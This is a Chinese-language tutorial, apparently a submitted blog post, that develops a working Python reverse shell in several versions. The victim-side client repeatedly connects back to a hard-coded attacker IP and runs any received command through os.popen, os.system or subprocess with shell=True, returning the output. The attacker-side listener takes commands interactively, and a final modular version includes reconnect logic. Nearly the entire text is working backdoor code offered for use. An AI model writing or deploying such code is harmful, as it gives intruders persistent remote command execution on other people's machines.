文章源自-投稿
作者-白中白
参考前面的正向shell后写出来的,此处还是要感谢MiaGz大师傅,先写出来一个初始版本,然后再进行改进
0x00:基础客户端部分
客户端,用于在目标机器上运行,它会自动去找服务端
import os
import socket
import time
#先将要链接的目标地址和端口设置好
Host = '192.168.2.81';
Port = 2333;
#将ip和端口作为一个元组的格式给addr
addr = (Host,Port);
#初始化套接字,这里用的参数都是默认的
s_socket = socket.socket()
#设置死循环,让他一直请求
while True:
#正常执行部分,如果连接失败就挂起来5秒,再次执行
try:
#使用connect方法连接目标地址和端口
s_socket.connect(addr)
#设置死循环
while True:
# 使用recv方法接受数据,最大接收量为1000,然后调用decode方法解码数据
data = s_socket.recv(1000).decode();
# 判断解码后的数据是否等于条件,如果是说明退出了
if data == 'quit' or data == 'exit':
# 调用close方法关闭链接
s_socket.close()
# 结束循环
break;
# 调用popen方法,执行传过来的命令
# popen()方法语法格式:os.popen(command[, mode[, bufsize]]),command -- 使用的命令。
# mode -- 模式权限可以是 'r'(默认) 或 'w'。bufsize -- 指明了文件需要的缓冲大小:0意味着
# 无缓冲;1意味着行缓冲;其它正值表示使用参数大小的缓冲。#大概值,以字节为单位)。
# 负的bufsize意味着使用系统的默认值,一般来说,对于tty设备,它是行缓冲;#对于其它文件,
# 它是全缓冲。如果没有改参数,使用系统的默认值。
value = os.popen(data);
# 调用system方法,该方法会将字符串当作命令来执行,返回0表示执行成功,其他长度则是找不到命令居多
fh = os.system(data);
# 判断是否等于0,成立表示执行成功
if fh == 0:
# 使用read方法读取value的值,然后赋值给value
value = value.read();
# 如果value是空的,就会返回假,这里因为逻辑运算符not就会成真
if not value:
# 给value一个字符串,表示执行成功了
value = 'Execution succeed';
# 如果不等于0,就打印下面的话
else:
value = 'sh: %s: command not found' % (data);
# 将value编码后发送给s_socket套接子绑定的对象
s_socket.send(value.encode());
except:
# try部分出现异常就停止无秒,在执行
s_socket.close();
time.sleep(5);
0x01:基础服务端部分
服务端,攻击者监听的地址
import os,socket
#设置监听的地址和端口
Host = '0.0.0.0';
Port = 2333;
#因为套接字需要使用元组,所以我们将地址和端口设置为元组给变量
HostPort = (Host,Port);
#实例化一个套接字对象,两个参数都是默认的,分别是地址簇,和类型
s_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
#将地址和端口使用bind绑定到s_socket,格式为一个元组
s_socket.bind(HostPort);
#设置最大连接数量
s_socket.listen(2);
#用来控制循环
stop = True;
while stop:
#被动的等待一个TCP连接,取得一个元组,值分别是元组的两个元素,我们将第一个元素给c_socket
#第一个元素刚好就是一个套接字的设置部分,这就让c_socket也成为一个套接字对象,并且地址还是目标的
#第二个元素也是一个元组,包含P和端口,简单来说他会返回一个新的套接字
c_socket,addr = s_socket.accept();
while True:
try:
#输入要执行的命令
commd = input('shell > ');
#将输入的指令进行编码,然后发送给连接的套接字
c_socket.send(commd.encode());
# 退出连接
if commd == 'quit' or commd == 'exit':
# 关闭套接字连接
c_socket.close()
# 设置大循环的值为False
stop = False;
# 结束循环
break;
#使用recv接收数据量,最大值为10000
data = c_socket.recv(10000);
#打印解码后的数据
print(data.decode());
#出现异常就执行
except:
#先关闭套接字,然后结束循环
c_socket.close();
break;
s_socket.close();
0x03:改良方法
改良版:经过测试后发现几个小问题
1、就是我们的服务端再退出后,在其开启,客户端会出现连接不了的情况,经过调试后,发现是因为初始化套接字在经过连接后值会发生改变,而断开在重连他会带有一些原本的标识,而新的连接已经发生了改变,所以无法找到,于是陷入死循环,一直无法连接,于是就把初始化套接字放在大循环里,连接成功部分是在小循环进行的,如果断开后,就重新初始化套接字,再次连接目标,这样来刷新断开后的套接字完成,只要客户端在运行,就可以连接到服务端
2、如果客户端被强制关闭将导致服务端报错退出,而不是继续等待新的连接,调试后发现是因为我们在服务端在遇到报错后会退出内循环,然后关闭掉套接字(s_socket)连接,导致我们外循坏再次开始等待TCP连接时,发现连接已经被关闭从而报错,所以将关掉套接字(s_socket)连接位置换到识别到quit或者exit部分,如果遇到他们就关闭连接,因为是主动要求退出
0x04:改进版客户端
客户端,把测试到的小问题修了一下
import os
import socket
import time
#先将要链接的目标地址和端口设置好
Host = '192.168.2.81';
Port = 2333;
#将ip和端口作为一个元组的格式给addr
addr = (Host,Port);
#设置死循环,让他一直请求
while True:
# 正常执行部分,出现错误或异常就去执行except部分
try:
# 初始化套接字,这里用的参数都是默认的,把初始化放在循环内是因为测试发现,如果连接过一次断开后,在此链接就会连不上
s_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 使用connect方法连接目标地址和端口
s_socket.connect(addr)
#设置死循环
while True:
# 使用recv方法接受数据,最大接收量为1000,然后调用decode方法解码数据
data = s_socket.recv(1000).decode();
# 判断解码后的数据是否等于条件,如果是说明退出了
if data == 'quit' or data == 'exit':
# 调用close方法关闭链接
s_socket.close()
# 结束循环
break;
# 调用popen方法,执行传过来的命令
# popen()方法语法格式:os.popen(command[, mode[, bufsize]]),command -- 使用的命令。
# mode -- 模式权限可以是 'r'(默认) 或 'w'。bufsize -- 指明了文件需要的缓冲大小:0意味着
# 无缓冲;1意味着行缓冲;其它正值表示使用参数大小的缓冲。#大概值,以字节为单位)。
# 负的bufsize意味着使用系统的默认值,一般来说,对于tty设备,它是行缓冲;#对于其它文件,
# 它是全缓冲。如果没有改参数,使用系统的默认值。
value = os.popen(data);
# 调用system方法,该方法会将字符串当作命令来执行,返回0表示执行成功,其他长度则是找不到命令居多
fh = os.system(data);
# 判断是否等于0,成立表示执行成功
if fh == 0:
# 使用read方法读取value的值,然后赋值给value
value = value.read();
# 如果value是空的,就会返回假,这里因为逻辑运算符not就会成真
if not value:
# 给value一个字符串,表示执行成功了
value = 'Execution succeed';
# 如果不等于0,就打印下面的话
else:
value = 'sh: %s: command not found' % (data);
# 将value编码后发送给s_socket套接子绑定的对象
s_socket.send(value.encode());
except:
# try部分出现异常就停止无秒,在执行
time.sleep(5);
0x05:改进版服务端
服务端,修了点小问题,加了点打印使其看起来更明显一些
import os,socket,time
#设置监听的地址和端口
Host = '0.0.0.0';
Port = 2333;
#因为套接字需要使用元组,所以我们将地址和端口设置为元组给变量
HostPort = (Host,Port);
#实例化一个套接字对象,两个参数都是默认的,分别是地址簇,和类型
s_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
#将地址和端口使用bind绑定到s_socket,格式为一个元组
s_socket.bind(HostPort);
#设置最大连接数量
s_socket.listen(2);
#用来控制循环
stop = True;
while stop:
#被动的等待一个TCP连接,取得一个元组,值分别是元组的两个元素,我们将第一个元素给c_socket
#第一个元素刚好就是一个套接字的设置部分,这就让c_socket也成为一个套接字对象,并且地址还是目标的
#第二个元素也是一个元组,包含IP和端口,将他们分别给不同的变量
c_socket,(ip,port) = s_socket.accept();
print('成功连接到目标%s' % ip)
while True:
try:
#输入要执行的命令,并显示使用的IP地址,这样看着清楚点
commd = input('shell %s > '%ip);
#将输入的指令进行编码,然后发送给连接的套接字
c_socket.send(commd.encode());
# 退出连接
if commd == 'quit' or commd == 'exit':
# 关闭套接字连接
c_socket.close();
s_socket.close();
# 设置大循环的值为False
stop = False;
# 结束循环
break;
#使用recv接收数据量,最大值为10000
data = c_socket.recv(10000);
#打印解码后的数据
print(data.decode());
#出现异常就执行
except:
#先关闭套接字,然后结束循环
c_socket.close();
#打印出来与那个客户端的连接断开了
print('与客户端(%s)的连接断开'%ip);
print('等待重连中~~~~')
break;
改进版服务端,之前的发现如果输入回车,他会卡在哪里无法继续,调试发现这是发送不出去数据导致
import os,socket,time
#设置监听的地址和端口
Host = '0.0.0.0';
Port = 2333;
#因为套接字需要使用元组,所以我们将地址和端口设置为元组给变量
HostPort = (Host,Port);
#实例化一个套接字对象,两个参数都是默认的,分别是地址簇,和类型
s_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
#将地址和端口使用bind绑定到s_socket,格式为一个元组
s_socket.bind(HostPort);
#设置最大连接数量
s_socket.listen(1);
#用来控制循环
stop = True;
while stop:
#被动的等待一个TCP连接,取得一个元组,值分别是元组的两个元素,我们将第一个元素给c_socket
#第一个元素刚好就是一个套接字的设置部分,这就让c_socket也成为一个套接字对象,并且地址还是目标的
#第二个元素也是一个元组,包含IP和端口,将他们分别给不同的变量
c_socket,(ip,port) = s_socket.accept();
print('成功连接到目标%s' % ip)
while True:
try:
#输入要执行的命令,并显示使用的IP地址,这样看着清楚点
commd = input('shell %s > '%ip);
#将输入的指令进行编码,然后发送给连接的套接字
c_socket.send(commd.encode());
# 退出连接
if commd == 'quit' or commd == 'exit':
# 关闭套接字连接
c_socket.close();
s_socket.close();
# 设置大循环的值为False
stop = False;
# 结束循环
break;
if commd == '':
continue;
#使用recv接收数据量,最大值为10000
data = c_socket.recv(10000);
#打印解码后的数据
print(data.decode());
#出现异常就执行
except:
#先关闭套接字,然后结束循环
c_socket.close();
#打印出来与那个客户端的连接断开了
print('与客户端(%s)的连接断开'%ip);
print('等待重连中~~~~')
break;
客户端,将os替换成了subprocess,并且内置方法communicate更为好用一些,该方法会返回出现的正常情况和错误情况。i比如ls执行成功,正确情况会返回相应的信息,而我们输入sssss这种,会返回终端所提示的错误信息,并且加入了如果执行的是成功的命令但是没有输出信息的话,会给他一条信息,比如执行成功,这样来提示
import socket
import time
import subprocess
#先将要链接的目标地址和端口设置好
Host = '192.168.2.72';
Port = 2333;
#将ip和端口作为一个元组的格式给addr
addr = (Host,Port);
#设置死循环,让他一直请求
while True:
# 正常执行部分,出现错误或异常就去执行except部分
try:
# 初始化套接字,这里用的参数都是默认的,把初始化放在循环内是因为测试发现,如果连接过一次断开后,在此链接就会连不上
s_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 使用connect方法连接目标地址和端口
s_socket.connect(addr)
#设置死循环
while True:
# 使用recv方法接受数据,最大接收量为1000,然后调用decode方法解码数据
data = s_socket.recv(1000).decode();
# 判断解码后的数据是否等于条件,如果是说明退出了
if data == 'quit' or data == 'exit':
# 调用close方法关闭链接
s_socket.close()
# 结束循环
break;
#subprocess:可以在当前程序中执行其他程序或命令,实例化一个Popen类,data是要执行的命令,后面的则是参数部分,shell=True表示明确要求使用shell来运行程序,与另一个参数一同指定程序运行在什么shell中但此处没有设置,所以会使用默认/bin/sh来执行指定的程序,后面的三个参数是因为我们要用communicate方法,所以需要设置成这种格式,否则可以不要
comm = subprocess.Popen(data,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE);
#wait函数用于回收进程,不然父进程比子进程先停止的话子进程就会没人回收,变成僵尸进程一直占用资源,会返回一个comm.returncode属性,returncode会返回子进程的状态,如果为空则表示没结束,=0则表示正常推出,大于0表示异常退出,小于0表示被信号杀掉了,取得返回值,来判断是出现什么情况
a = comm.wait();
#communicate函数会和子进程交流,其格式communicate(input=None),会将参数input(字符串)中的数据发送给子进程的stdin,同时从子进程的stdout和stderr读取数据,直到EOF,返回值是一个元组,有两个元素,分别表示标准输出,和错误输出中读取的数据
#将读取到的数据给不同的变量
STDOUT,STDERR=comm.communicate();
#如果=0则表示正常退出
if a == 0:
#如果是touch等命令则会导致没有值,所以给他个提示
if STDOUT == b'':
STDOUT='Execute successfully';
#因为这里被赋值了一个字符串,所以需要编码发送
s_socket.send(STDOUT.encode());
#将正常读取的信息通过套接子发送给服务端,因为读取到的就是字节而不是字符串,所以不需要进行编码,想要读取则需要解码
else:
s_socket.send(STDOUT);
#如果大于0则表示异常推出
elif a > 0:
#将错误信息通过套接子发送给服务端
s_socket.send(STDERR);
except:
# try部分出现异常就停止5秒,在执行
time.sleep(5);
而上面的看起来非常繁琐而不简便,这里忘了应该先模块化的,在看了一个外国大佬的视频后,参考将自己的也分为一个个函数,这样条理明晰一些,这样需要时候直接调用即可
0x06:终极版
服务端(控制端)
import socket
#设置监听的地址和端口
Host = '0.0.0.0';
Port = 6666;
#因为套接字需要使用元组,所以我们将地址和端口设置为元组给变量
HostPort = (Host,Port);
#负责连接通讯的
def server(s_socket):
#被动的等待一个TCP连接,取得一个元组,值分别是元组的两个元素,我们将第一个元素给c_socket
#第一个元素刚好就是一个套接字的设置部分,这就让c_socket也成为一个套接字对象,并且地址还是目标的
#第二个元素也是一个元组,包含P和端口
c_socket,addr = s_socket.accept();
while True:
try:
#输入要执行的命令
commd = input('shell > ');
if commd == '':
continue;
#将输入的指令进行编码,然后发送给连接的套接字
c_socket.send(commd.encode());
# 退出连接
if commd == 'quit' or commd == 'exit':
# 关闭套接字连接
c_socket.close()
break;
# 结束循环,然后回结束这个函数,返回一个None,空等于假,所以会结束
#使用recv接收数据量,最大值为10000
data = c_socket.recv(10000);
#打印解码后的数据
print(data.decode());
#出现异常就执行
except:
#先关闭套接字,然后返回一个真,让外部继续循环,因为不是主动退出,所以重新进行连接
c_socket.close();
print('连接断开:正在等待新的连接~~~~~');
return True;
def main():
#实例化一个套接字对象,两个参数都是默认的,分别是地址簇,和类型
s_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
#将地址和端口使用bind绑定到s_socket,参数格式要求为一个元组
s_socket.bind(HostPort);
#设置最大连接数量
s_socket.listen(2);
#用来控制循环
stop = True;
while stop:
stop = server(s_socket);
if __name__ == '__main__':
main();
客户端(被控端),记得修改端口和IP
import subprocess,socket
#设置基本设置部分
host = '192.168.199.127';
port = 6666;
ipport = (host,port);
#负责连接
def server(s_socket):
#连接成功则开始下面的循环,不成功就异常
while True:
try:
#使用recv方法接收发来的数据,接收的数据量为10000,如果不设置会接受不到数据
data = s_socket.recv(10000).decode();
if data == 'quit' or data == 'exit':
return 0;
#实例化一个Popen对象,这里用subprocess替换掉了os,data是要执行的字符串,shell=True表示要求使用shell运行程序。这里因为没有使用另一个参数,所以他会使用/bin/sh来执行data。也就是python先启一个shell,然后执行data
comm = subprocess.Popen(data,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE);
#wait方法,等待子进程 comm 终止,返回 comm.returncode 属性;返回值为一个数字,0表示执行成功,大于0表示异常推出,小于0表示被信号干掉
number = comm.wait();
#communicate方法会返回一个二元组,分别是正常的执行结果和异常的错误信息
STDOUT,STDERR = comm.communicate();
#表示正常执行
if number == 0:
#判断STDOUT是否为空,如果为空就给他一个字符串表示执行成功了
if STDOUT == b'':
STDOUT = b'Execute successfully';
s_socket.send(STDOUT);
else:
s_socket.send(STDOUT);
#如果大于0就是异常退出
elif number > 0:
#就将错误信息发过去
s_socket.send(STDERR);
except:
pass;
def main():
#设置死循环,用来一直寻找目标
while True:
try:
#初始化套接子,实例化对象,两个参数都是默认的,因为每次连接过后套接子都会获取连接过来的参数,所以如果断开我们就需要重新初始化套接子,好接受一个新的目标
s_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s_socket.connect(ipport);
#调用了自定义函数server,将s_socket作为实惨传输进去
server(s_socket);
except:
pass;
if __name__ == "__main__":
main();